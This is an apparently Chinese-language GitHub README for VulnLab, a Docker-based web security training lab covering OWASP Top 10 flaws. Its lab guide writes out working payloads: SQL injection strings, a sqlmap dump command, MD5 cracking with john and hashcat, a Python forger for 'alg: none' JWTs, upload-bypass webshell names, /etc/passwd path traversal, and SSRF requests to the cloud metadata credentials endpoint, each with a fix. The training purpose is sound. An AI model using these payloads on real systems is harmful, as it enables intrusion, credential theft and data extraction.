HaronKhalid/vulnlab

GitHub: HaronKhalid/vulnlab

一个基于 Docker 自托管的 Web 安全培训平台,涵盖 OWASP Top 10 漏洞类别,方便团队在隔离环境中练习渗透测试。

Stars: 0 | Forks: 0

# VulnLab — 安全培训平台 ## 概述 VulnLab 是一个自托管、基于 Docker 的 Web 安全培训平台,涵盖了所有主要的 OWASP Top 10 漏洞类别。旨在为团队提供一个安全、受控且隔离的环境,以练习渗透测试。 ### 包含的实验室 | 实验室 | 漏洞 | OWASP | 分数 | |-----|--------------|-------|--------| | XSS Reflected | 用户输入被原样回显到 HTML 中 | A03 | 100 | | XSS Stored | 恶意评论持续存在并对所有用户可见 | A03 | 200 | | XSS DOM | 来自 `location.hash` 的 `innerHTML` | A03 | 200 | | SQLi Login Bypass | 登录查询中使用原始字符串拼接 | A03 | 100 | | SQLi UNION SELECT | 通过 UNION 提取用户/产品 | A03 | 200 | | SQLi Blind | 基于布尔值的盲注推断 | A03 | 300 | | Auth: Weak Hashes | 无盐的 MD5 密码 | A02 | 150 | | Auth: JWT None Alg | JWT 签名绕过 | A02/A07 | 250 | | Auth: IDOR Profile | 无防护的用户 ID 参数 | A01 | 150 | | File Upload | 缺少 MIME/扩展名验证 | A05 | 300 | | Path Traversal | 未过滤的文件路径参数 | A01 | 250 | | CSRF | 修改邮箱表单无 token | A01/A05 | 200 | | SSRF | 服务器请求攻击者提供的 URL | A10 | 300 | **总计:13 个 flag,共 2,700 分** ## 快速开始 ### 前置条件 - Docker ≥ 24 - Docker Compose ≥ 2.x ### 1. 克隆/复制项目 ``` git clone vulnlab cd vulnlab ``` ### 2. 启动 ``` docker compose up --build -d ``` ### 3. 访问 | URL | 描述 | |-----|-------------| | http://localhost:8080 | VulnLab 主应用 | | http://localhost:8080/admin/ | 讲师管理面板 | ### 4. 默认凭据 | 账户 | 用户名 | 密码 | |---------|----------|----------| | 应用管理员 | admin | admin123 | | 管理面板 | (任意) | admin123 | ## 团队/课堂设置 ### 局域网访问(同一网络内的同事) 1. 查找本机的局域网 IP:`ip addr` / `ipconfig` 2. 共享 `http://:8080` —— 所有人都可以访问实验室 3. 每位学员注册自己的用户名以跟踪个人进度 ### 完全隔离(无互联网出口) 在 `docker-compose.yml` 中,将网络设置为内部网络: ``` networks: vulnnet: driver: bridge internal: true ``` ### 仅限 VPN 访问 在服务器上运行并通过 VPN 访问。只需要在 VPN 内部可以访问 8080 端口即可。 ## 实验室指南 ### 实验室 1 — 反射型 XSS **URL:** `/xss/reflected?q=` ``` Payload: URL: http://localhost:8080/xss/reflected?q= ``` **原理分析:** `q` 参数的值在没有任何编码的情况下被直接插值到 HTML 模板中。 **修复方案:** `res.send(escapeHtml(query))` —— 编码 `<`、`>`、`"`、`'`、`&`。 ### 实验室 2 — 存储型 XSS **URL:** `/xss/stored` ``` Comment content: ``` **原理分析:** 评论被存储在 SQLite 中,并对每位访问者进行原始渲染。 **修复方案:** 在存储前进行过滤(服务器端使用 DOMPurify),或在渲染时编码。 ### 实验室 3 — DOM XSS **URL:** `/xss/dom#` ``` Navigate to: http://localhost:8080/xss/dom# ``` **原理分析:** `location.hash` 被传递给 `innerHTML` 而没有任何过滤。 **修复方案:** 使用 `textContent` 代替 `innerHTML`,或使用 DOMPurify 进行过滤。 ### 实验室 4 — SQL 注入登录绕过 **URL:** POST `/sqli/login` ``` Username: ' OR '1'='1' -- Password: (anything) Query becomes: SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='...' ``` **修复方案:** 使用参数化查询:`db.prepare("SELECT * FROM users WHERE username=? AND password=?").get(u, p)` ### 实验室 5 — UNION SELECT **URL:** `/sqli/search?q=` ``` Payload: ' UNION SELECT id,username,password,role FROM users -- Payload: ' UNION SELECT id,name,secret,price FROM products -- ``` **修复方案:** 参数化查询 + 对数据库用户应用最小权限原则。 ### 实验室 6 — 盲注 SQLi **URL:** `/sqli/blind?id=` ``` Payload: 1 AND SUBSTR((SELECT username FROM users WHERE role='admin' LIMIT 1),1,1)='a' ``` 使用 sqlmap 自动化操作: ``` sqlmap -u "http://localhost:8080/sqli/blind?id=1" --dbms=sqlite --dump --level=3 --risk=2 --batch ``` ### 实验室 7 — 弱密码哈希 **URL:** `/auth/hashes` 1. 访问页面 —— 所有 MD5 哈希都被暴露(IDOR) 2. 粘贴到 https://crackstation.net 3. 或者在本地破解: ``` echo "0192023a7bbd73250516f069df18b500" > hash.txt john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # 或 hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt ``` ### 实验室 8 — JWT 算法混淆 **URL:** `/auth/jwt-demo` 1. 从页面获取你的 token 2. 在 https://jwt.io 解码 3. 使用 Python 伪造: ``` import base64, json def b64url(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip("=") header = b64url({"alg": "none", "typ": "JWT"}) payload = b64url({"username": "attacker", "role": "admin", "iat": 9999999999}) token = f"{header}.{payload}." print(token) ``` 4. 将伪造的 token 提交到 `/auth/jwt-verify` ### 实验室 9 — IDOR **URL:** `/auth/profile/1` → `/auth/profile/5` 只需递增 URL 中的 ID。未执行任何会话检查。 资料页 5(`secretuser`)的个人简介中包含一个 flag。 ### 实验室 10 — 文件上传绕过 **URL:** `/upload` 过滤器仅阻止 `.php`。请尝试: ``` shell.php5 shell.phtml shell.pHp (case bypass) shell.html (XSS via upload) shell.js (Node webshell concept) ``` 示例上传 payload(HTML webshell 演示): ```





```


### 实验室 11 — 路径遍历

**URL:** `/upload/download?file=`


```
/upload/download?file=../../etc/passwd

/upload/download?file=..%2F..%2Fetc%2Fpasswd

/upload/download?file=....//....//etc/passwd
```


**修复方案:** `path.resolve()` + 检查结果是否以 `UPLOAD_DIR` 开头。

### 实验室 12 — CSRF

1. 以 `alice` 身份登录(首先破解她的 MD5:`md5("password")`)
2. 登录状态下,在另一个标签页中打开 `/csrf/poc`
3. 该页面会自动提交一个表单,将 alice 的邮箱更改为 `hacked@attacker.evil`
4. 服务器没有 CSRF token —— 请求被接受

**修复方案:** 使用 `csurf` 中间件,设置 SameSite=Strict cookies,或检查 `Origin` 标头。

### 实验室 13 — SSRF

**URL:** 带有 `url=` 的 POST `/api/fetch`


```
# 探测内部管理面板

curl -X POST http://localhost:8080/api/fetch -d "url=http://admin:4000/"



# 探测 Redis

curl -X POST http://localhost:8080/api/fetch -d "url=http://redis:6379/"



# AWS 元数据 (如果部署在 EC2/ECS 上)

curl -X POST http://localhost:8080/api/fetch -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```


**修复方案:** 使用允许的域名白名单,阻止 RFC1918 地址范围,使用专用的出口代理。

## 使用 OWASP ZAP

1. 启动 ZAP
2. 将浏览器代理设置为 `127.0.0.1:8080`(ZAP 的代理)
3. 正常浏览 VulnLab —— ZAP 将填充站点地图
4. 在站点树中右键点击 VulnLab → 主动扫描
5. 在警报标签页中查看警报

或运行自动化爬虫:


```
# ZAP CLI

zap-cli start --start-options '-config api.disablekey=true'

zap-cli open-url http://localhost:8080

zap-cli spider http://localhost:8080

zap-cli active-scan http://localhost:8080

zap-cli report -o zap_report.html -f html
```


## 使用 Burp Suite

1. 打开 Burp → Proxy → 打开拦截
2. 配置浏览器使用 Burp 代理 (127.0.0.1:8080)
3. 浏览各个实验室
4. 在 Proxy → HTTP History 中,右键点击感兴趣的请求 → 发送到 Repeater / Intruder
5. 使用 Intruder 进行参数模糊测试(SQLi payload、字典)
6. 使用扫描器(专业版)进行自动化漏洞检测

## 管理面板

访问地址 `http://localhost:8080/admin/` —— 密码为 `admin123`

| 功能 | 描述 |
|---------|-------------|
| Dashboard | 实时统计 —— 用户、解答、上传、日志行 |
| Users | 添加/删除用户,重置个人分数 |
| Score Matrix | 显示谁解决了哪些 flag 的可视化网格 |
| Flags | 所有 flag 值、解决次数,添加自定义 flag |
| Traffic Log | 完整的 HTTP 请求日志,支持过滤 |
| Reset Labs | 清除 XSS 评论、上传文件及所有分数 |
| Hints | 供讲师使用的快速参考备忘录 |
| Broadcast | 发布在应用上可见的公告 |

## 添加您自己的实验室

1. 遵循现有路由的模式,创建 `app/routes/mylab.js`
2. 在 `app/server.js` 中注册它:`app.use("/mylab", require("./routes/mylab"))`
3. 通过管理面板或在 `db/seed.js` 中向数据库添加一个 flag
4. 在 `routes/home.js` 中添加一个卡片

## 安全说明

- Docker 网络上的 `internal: true` 会完全阻止来自容器的出站互联网连接
- 在两次会话之间,可以通过管理面板干净地重置所有实验室
- 流量日志会捕获所有请求 —— 学员可以查看自己的攻击 payload
- 切勿在 VulnLab 中使用真实的凭据或真实数据
- 切勿将 8080 端口暴露在互联网上

## 许可证

MIT —— 仅限内部安全培训使用。
标签:CISA项目, CSRF, Docker, Docker Compose, HTTP工具, IDOR, JWT安全, MITM代理, OPA, OWASP Top 10, PKI, SSRF, VulnLab, Web安全, XSS, 团队培训, 安全意识, 安全教育, 安全演练, 安全防御评估, 弱口令, 文件上传漏洞, 漏洞情报, 漏洞靶场, 版权保护, 网络安全培训平台, 网络安全实验, 自定义脚本, 自托管, 蓝队分析, 请求拦截, 越权访问, 路径遍历, 防御检测, 靶场